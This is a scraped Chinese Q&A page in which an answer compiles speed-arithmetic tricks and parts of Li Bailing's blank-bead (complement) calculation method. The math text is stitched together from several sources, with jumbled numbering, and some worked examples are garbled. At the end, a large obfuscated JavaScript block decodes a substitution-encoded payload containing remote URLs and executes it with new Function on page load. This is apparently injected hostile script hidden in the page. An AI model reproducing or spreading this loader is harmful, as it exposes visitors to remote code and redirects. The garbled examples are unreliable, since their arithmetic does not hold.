有哪位朋友有李百令的《空珠速算法》完整的教材,电子版、文字版的都行,不胜感谢!!

2025-03-12 01:21:51
推荐回答(1个)
回答1:

把珠算和笔算结合,是很多人探索的方法,现在把我收集的《空珠速算法》献上
超级速算法2008-10-20 15:00超棒:数学速算法!!!2008-08-24 01:44速算技巧 速算技巧A、乘法速算 一、十位数是1的两位数相乘
乘数的个位与被乘数相加,得数为前积,乘数的个位与被乘数的个位相乘,得数为后积,满十前一。
例:15×17
15 + 7 = 22
5 × 7 = 35
---------------
255
即15×17 = 255
解释:
15×17
=15 ×(10 + 7)
=15 × 10 + 15 × 7
=150 + (10 + 5)× 7
=150 + 70 + 5 × 7
=(150 + 70)+(5 × 7)
为了提高速度,熟练以后可以直接用“15 + 7”,而不用“150 + 70”。
例:17 × 19
17 + 9 = 26
7 × 9 = 63
连在一起就是255,即260 + 63 = 323
二、个位是1的两位数相乘
方法:十位与十位相乘,得数为前积,十位与十位相加,得数接着写,满十进一,在最后添上1。
例:51 × 31
50 × 30 = 1500
50 + 30 = 80
------------------
1580
因为1 × 1 = 1 ,所以后一位一定是1,在得数的后面添上1,即1581。数字“0”在不熟练的时候作为助记符,熟练后就可以不使用了。
例:81 × 91
80 × 90 = 7200
80 + 90 = 170
------------------
7370
------------------
7371
原理大家自己理解就可以了。
三、十位相同个位不同的两位数相乘
被乘数加上乘数个位,和与十位数整数相乘,积作为前积,个位数与个位数相乘作为后积加上去。
例:43 × 46
(43 + 6)× 40 = 1960
3 × 6 = 18
----------------------
1978
例:89 × 87
(89 + 7)× 80 = 7680
9 × 7 = 63
----------------------
7743
四、首位相同,两尾数和等于10的两位数相乘
十位数加1,得出的和与十位数相乘,得数为前积,个位数相乘,得数为后积,没有十位用0补。
例:56 × 54
(5 + 1) × 5 = 30--
6 × 4 = 24
----------------------
3024
例: 73 × 77
(7 + 1) × 7 = 56--
3 × 7 = 21
----------------------
5621
例: 21 × 29
(2 + 1) × 2 = 6--
1 × 9 = 9
----------------------
609
“--”代表十位和个位,因为两位数的首位相乘得数的后面是两个零,请大家明白,不要忘了,这点是很容易被忽略的。
五、首位相同,尾数和不等于10的两位数相乘
两首位相乘(即求首位的平方),得数作为前积,两尾数的和与首位相乘,得数作为中积,满十进一,两尾数相乘,得数作为后积。
例:56 × 58
5 × 5 = 25--
(6 + 8 )× 5 = 7--
6 × 8 = 48
----------------------
3248
得数的排序是右对齐,即向个位对齐。这个原则很重要。
六、被乘数首尾相同,乘数首尾和是10的两位数相乘。
乘数首位加1,得出的和与被乘数首位相乘,得数为前积,两尾数相乘,得数为后积,没有十位用0补。
例: 66 × 37
(3 + 1)× 6 = 24--
6 × 7 = 42
----------------------
2442
例: 99 × 19
(1 + 1)× 9 = 18--
9 × 9 = 81
----------------------
1881
七、被乘数首尾和是10,乘数首尾相同的两位数相乘
与帮助6的方法相似。两首位相乘的积加上乘数的个位数,得数作为前积,两尾数相乘,得数作为后积,没有十位补0。
例:46 × 99
4 × 9 + 9 = 45--
6 × 9 = 54
-------------------
4554
4554
例:82 × 33
8 × 3 + 3 = 27--
2 × 3 = 6
-------------------
2706
八、两首位和是10,两尾数相同的两位数相乘。
两首位相乘,积加上一个尾数,得数作为前积,两尾数相乘(即尾数的平方),得数作为后积,没有十位补0。
例:78 × 38
7 × 3 + 8 = 29--
8 × 8 = 64
-------------------
2964
例:23 × 83
2 × 8 + 3 = 19--
3 × 3 = 9
--------------------
1909
B、平方速算
一、求11~19 的平方
底数的个位与底数相加,得数为前积,底数的个位乘以个位相乘,得数为后积,满十前一。
例:17 × 17
17 + 7 = 24-
7 × 7 = 49
---------------
289
参阅乘法速算中的“十位是1 的两位相乘”
二、个位是1 的两位数的平方
底数的十位乘以十位(即十位的平方),得为前积,底数的十位加十位(即十位乘以2),得数为后积,在个位加1。
例:71 × 71
7 × 7 = 49--
7 × 2 = 14-
-----------------
5041
参阅乘法速算中的“个位数是1的两位数相乘”
三、个位是5 的两位数的平方
十位加1 乘以十位,在得数的后面接上25。
例:35 × 35
(3 + 1)× 3 = 12--
25
----------------------
1225
四、21~50 的两位数的平方
在这个范围内有四个数字是个关键,在求25~50之间的两数的平方时,若把它们记住了,就可以很省事了。它们是:
21 × 21 = 441
22 × 22 = 484
23 × 23 = 529
24 × 24 = 576
求25~50 的两位数的平方,用底数减去25,得数为前积,50减去底数所得的差的平方作为后积,满百进1,没有十位补0。
例:37 × 37
37 - 25 = 12--
(50 - 37)^2 = 169
----------------------
1369
注意:底数减去25后,要记住在得数的后面留两个位置给十位和个位。
例:26 × 26
26 - 25 = 1--
(50-26)^2 = 576
-------------------
676
C、加减法
一、补数的概念与应用
补数的概念:补数是指从10、100、1000……中减去某一数后所剩下的数。
例如10减去9等于1,因此9的补数是1,反过来,1的补数是9。
补数的应用:在速算方法中将很常用到补数。例如求两个接近100的数的乘法或除数,将看起来复杂的减法运算转为简单的加法运算等等。
D、除法速算
一、某数除以5、25、125时
1、 被除数 ÷ 5
= 被除数 ÷ (10 ÷ 2)
= 被除数 ÷ 10 × 2
= 被除数 × 2 ÷ 10
2、 被除数 ÷ 25
= 被除数 × 4 ÷100
= 被除数 × 2 × 2 ÷100
3、 被除数 ÷ 125
= 被除数 × 8 ÷100
= 被除数 × 2 × 2 × 2 ÷100
在加、减、乘、除四则运算中除法是最麻烦的一项,即使使用速算法很多时候也要加上笔算才能更快更准地算出答案。因本人水平所限,上面的算法不一定是最好的心算法

一数相同一数非互补的乘法
两位数相乘,一数的和非互补,另一数相同,方法是:头加1,头乘头,尾乘尾,将两积连接起来后,再看被乘数横加之和比10大几就加几个乘数首。比10小几就减几个乘数首,加减位置:一位数十位加减,两位数百位加减,如65×77=5005,计算程序是(6+1)×7=49,5×7=35,相连为4935,6+5=11,比10大1,加一个7,一位数十位加。4935+70=5005
八.两头非互补两尾相同的乘法
两个头非互补,两个尾相同,其计算方法是:头乘头加尾数,尾自乘。两积连接起来后,再看两个头的和比10大几或小几,比10大几就加几个尾数,小几就减几个尾数,加减位置:一位数十位加减,两位数百位加减。如67×87=5829,计算程序是:6×8+7=55,7×7=49,相连为5549,6+8=14,比10大4,就加四个7,4×7=28,两位数百位加,5549+280=5829
九.任意两位数头加1乘法
任意两个十位数相乘,都可按头加1方法计算:头加1后,头乘头,尾乘尾,将两个积连接起来后,有两比,这两比是非常关键的,必须牢记。第一是比首,就是被乘数首比乘数首小几或大几,大几就加几个乘数尾,小几就减几个乘数尾。第二是比两个尾数的和比10大几或小几,大几就加几个乘数首,小几就减几个乘数首。加减位置是:一位数十位加减,两位数百位加减。如:35×28=980,计算程序是:(3+1)×2=8,5×8=40,相连为840,这不是应求的 积数,还有两比,一是比首,3比2大1,就要加一个乘数尾,加8,二是比尾,5+8=13,13比10大3,就加3个乘数首,3×2=6,8+6=14,两位数百位加,840+140=980。再如:28×35=980, 计算程序是:(2+1)×3=9,8×5=40,相连位940,一是比首,2比3小1,减一个乘数尾,减5,二是比尾,8+5=13,比10大3,加三个3,3×3=9,9-5=4,一位数十位加,940+40=980。

十.首位都是5的乘法
两个十位数相乘,首位都是5时,先求出5的平方,再求出尾数和的一半,加平方数里,为前积,然后求两个尾数的积,为后积,连接起来就应求的得数。如58×54=3132,其计算程序是:5×5=25,8+4=12,12的半数6,25+6=31,再加8×4=32。两积相连为3132。58×54就得3132。
十一.尾数都是5的乘法
两个十位数相乘,尾数都是5的乘法,先求出首位数的积,再加上首和的一半为前积,再加尾5的平方,就是应求的数。如:65×85=5525,计算程序是:6×8=48,6+8=14,半数为7,48+7=55,5×5=25,连接起来,就得5525。
十二.减平方差的乘法
两个首位数差1,尾为互补的乘法,其计算方法是:大1的首位数平方减去尾数的平方,就是得数。如:42×38=1596。其计算程序是:首先4比3大1,尾数又是互补,那就减平方差,40的平方减2的平方,1600-4=1596。

十三.多位数减平方差的乘法
根据减平方差的计算原理,可以引深一步,凡是首位大1,后边的数字为互补的数码,都可以按减平方差公式计算。如:406×394=159964。计算程序是:400的平方减6的平方,160000-36=159964。
十四.一数和为9,另一数为连接数的乘法
凡是一个两位数的和为9,另一数为连接数,其计算方法是,头加1后,头乘头为前积,尾补乘尾补为后积,中间不管有多少位数,不用计算,都是头加1那个数。比如:72×4567=328824,计算程序是:7加1为8,8乘4等于32,为前积,两个尾补的积是:8×3=24,为后积,中间两位数是56,不用计算,这两位都是头加1的数,都是8,72×4567就得328824。
十五.首同是9的乘法
两个十位数相乘,首位都是9时,其计算方法是:将一数的补数从另一数中减掉,为前积,然后加上两个尾补的积为后积,连接起来,就为得数。如:97×94=9118,计算程序是:97-6等于91,为前积,两个尾补的积是3×6=18,91和18相连就得9118。
十六.9的倍数乘法
9的倍数是指18 27 36 45 54 63 72 81 198 297等等,都是9的倍数,都可以用一位数计算。如18=20-2,297=300-3,3996=4000-4等等,用一位去乘任何数,得出积来错位相减即可得到乘积。如:27×35=945,(27=30-3) 30×35=1050,1050-105=945。

空珠速算法(李百令)
如17+9=26 计算程序是17+3=20 9-3=6 20+6=26
二 .补数加法
补数加法速度快,主要是没有逐位进位的麻烦。补数就是两个数的和为10 100 1000 等等。8+2=10 78+22=100 8是2的补数,2也是8的补数,78是22的补数,22也是78的补数。利用补数进行加法计算的方法是十位加1,个位减补。 例如6+8=14 计算时在6的十位加上1,变成16,再从16中减去8的补数2就得14
如6+7=13 先6+10=16 后16-3=13
如27+8=35 27+10=37 37-2=35
如25+85=110 25+100=125 125-15=110
如867+898=1765 867+1000=1867 1867-102=1765

三.调换位置的加法
两个十位数互换位置,有速算方法是:十位加个位,和是一位和是双,和是两位相加排中央。例如61+16=77,计算程序是6+1=7 7是一位数,和是双,就是两个7,61+16=77 再如83+38=121 计算程序是8+3=11 11就是两位数,两位数相加1+1=2排中央,将2排在11中间,就得121。
第二讲 减法速算
一.两位减一位补数减法
两位数减一位数的补数减法是:十位减1,个位加补。如15-8=7,15减去10等于5, 5加个位8的补数2等于7。
二.多位数补数减法
补数减法就是减1加补,三位减两位的方法:百位减1,十位加补,如268-89=179,计算程序是268减100等于168,168加89的补数11就等于179。
三.调换位置的减法
两个十位数互换位置,有速算方法:十位数减个位数,然后乘以9,就是差数。如86-68=18,计算程序是8-6=2,2乘以9等于18。
四.多位数连减法
多位数连减,采用补数加减数的方法达到速算。先找到被减数的补数,然后将所有的减数当成加数连加,再看和的补数是多少,和的补数就是所求之差数。举例说明:653-35-67-43-168=340,先找被减数653的补数,653的补数是347,然后连加减数347+35+67+43+168=660,660的补数为340,差数就得340

第三讲 乘法速算
一.两个20以内数的乘法
两个20以内数相乘,将一数的个位数与另一个数相加乘以10,然后再加两个尾数的积,就是应求的得数。如12×13=156,计算程序是将12的尾数2,加至13里,13加2等于15,15×10=150,然后加各个尾数的积得156,就是应求的积数。

二.首同尾互补的乘法
两个十位数相乘,首尾数相同,而尾十互补,其计算方法是:头加1,然后头乘为前积,尾乘尾为后积,两积连接起来,就是应求的得数。如26×24=624。计算程序是:被乘数26的头加1等于3,然后头乘头,就是3×2=6,尾乘尾6×4=24,相连为624。
三.乘数加倍,加半或减半的乘法
在首同尾互补的计算上,可以引深一步就是乘数可加倍,加半倍,也可减半计算,但是:加倍、加半或减半都不能有进位数或出现小数,如48×42是规定的算法,然而,可以将乘数42加倍位84,也可以减半位21,也可加半倍位63,都可以按规定方法计算。48×21=1008,48×63=3024,48×84=4032。有进位数的不能算。如87×83=7221,将83加倍166,或减半41.5,这都不能按规定的方法计算。
四.首尾互补与首尾相同的乘法
一个数首尾互补,而另一个数首尾相同,其计算方法是:头加1,然后头乘头为前积,尾乘尾为后积,两积相连为乘积。如37×33=1221,计算程序是(3+1)×3×100+7×3=1221。
五.两个头互补尾相同的乘法
两个十位数互补,两个尾数相同,其计算方法是:头乘头后加尾数为前积,尾自乘为后积。如48×68=3264。计算程序是4×6=24 24+8=32 32为前积,8×8=64为后积,两积相连就得3264。
六.首同尾非互补的乘法
两个十位数相乘,首位数相同,而两个尾数非互补,计算方法:头加1,头乘头,尾乘尾,把两个积连接起来。再看尾和尾的和比10大几还是小几,大几就加几个首位数,小几就减掉几个首位数。加减的位置是:一位在十位加减,两位在百位加减。如36×35=1260,计算时(3+1)×3=12 6×5=30 相连为1230 6+5=11,比10大1,就加一个首位3,一位在十位加,1230+30=1260 36×35就得1260。再如36×32=1152,程序是(3+1)×3=12,6×2=12,12与12相连为1212,6+2=8,比10小2减两个3,3×2=6,一位在十位减,1212-60就得1152。

空珠速算法(李百令)
②被乘数与乘数是纯小数,而小数点右边带零的,带几个零为负几位。
③被乘数是纯小数,但小数点右边没有零,就是零位。
设被乘数的位数为m,设乘数的位数为n.求积的位数是由二种公式决定的。
1. 积首小于两因数的首位,用m+n
2. 积首大于两因数的首位,用m+n-1
如果积首数与两因数首数相同时,可比第一位、第二位、第三位等。
二.什么是空珠、指示珠
1.什么是空珠
空珠这个词,实际上就是数学里讲的补数,为了让广大读者便于掌握,把它通俗化叫做空珠。
空珠就是把乘数凑成一个整数,成为互补的数就是空珠,也就是一位数变10,二位数变100,三位数变1000,依此类推,就是把乘数变1的无限大,10的N次方,变上这个数就是空珠。如 :8+2=10, 如果8是乘数,2为空珠,反过来,2是乘数,8是空珠,它们互为空珠,乘数是68,空珠为32,乘数389,空珠是611,依此类推。认识什么是空珠后,要注意以下几点: ①前后带零的数码,就把零去掉,如:350,空珠为65,0.035,空珠为65
②数码中间是零时,空珠为9。如:705的空珠为295。
③数码前位是9,空珠为0,如:98,空珠为02,998,空珠为002
2.什么是指示珠
将被乘数凑成整数的珠,就是指示珠。指示珠与空珠不同,空珠是与乘数互为空珠的,而指示珠是将被乘数凑成整数,它不一定是凑成整十整百整千的,而是凑成10、20、30......100、200、300......。如:被乘数是8,指示珠为2,被乘数为18,指示珠示2,而不是82,被乘数是198,指示珠是2,而不是802,被乘数是998,指示珠还数2,而不是002。
指示珠,是发布命令的珠,在空珠速算里,加几个空珠或减几个空珠,都由指示珠来决定。
被乘数是8,指示珠为2,被乘数76,指示珠24,总之,把被乘数凑成整数的数为指示珠。
注意一点:正指示珠,这是数字较小而设计的,如981,末位1为正指示珠,就直接减一个空珠就可以了。
三、基础法
被乘数是几就在下位减几个空珠,剩下的数必须是几个乘数。
1乘1本来就是1,如果将1扩大10倍,实际扩大了9倍,这个扩大的9倍,正好是乘数的空珠。所以,被乘数扩大10倍后,减去空珠,就是积数。
乘数1加空珠9等于10,用10去乘被乘数1就等于10,这个10里,一共包括两个积的和,一个是1×9的积,一个是1×1的积,我们想要得到1×1的积累,就必须从被乘数10里减去1×9的积,剩下的就是1×1的积。
通过1乘1的道理,可以推算出这样一个结论,任何数用十、百、千、万去乘,可以直接将被乘数扩大十、百、千、万倍,扩大后的总数里,包括两个积,要想得到被乘数与乘数的积,就必须从总数积数里减去被乘数与空珠的积。剩下的必须是被乘数与乘数的积。如:98×75=7350,乘数75,空珠25,75+25=100,用100去乘98,不用乘,只是在98的下位加两个0,得9800,这9800位总积数,它包括两个积的和,一个是98×75的积,另一个是98×25的积,要得98×75的积,必须从9800里减去98×25的积,剩下的就是98×75的积。
算式:98×100-98×25
从算式看出,98×25的积,不容易算,为了简捷,可将98变成100,也就是减100个25加2个25,就是减98个25了。
算式:
98×100-100×25+2×25
9800-2500+50=7350
从上述算式演算中,推导出一个计算法则:被乘数末位以十为满珠,前一位一律以九为满珠,每位有几个指示珠,就在下位加几个空珠,然后从首位固定减一个空珠,就是乘积。
在具体运算中,可归纳三种类型,大、中、小数码。分述如下:
1、大数码类
被乘数是大数码,指示珠就是小数码,加减空珠小,易于运算,并有高速度

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();